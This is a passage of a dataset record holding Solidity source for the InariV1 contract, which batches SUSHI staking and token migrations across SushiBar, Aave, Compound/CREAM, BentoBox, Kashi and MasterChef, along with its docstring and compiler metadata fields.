function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | unstakeSushiFromAave | function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
| /// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
11331,
11863
]
} | 11,784 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
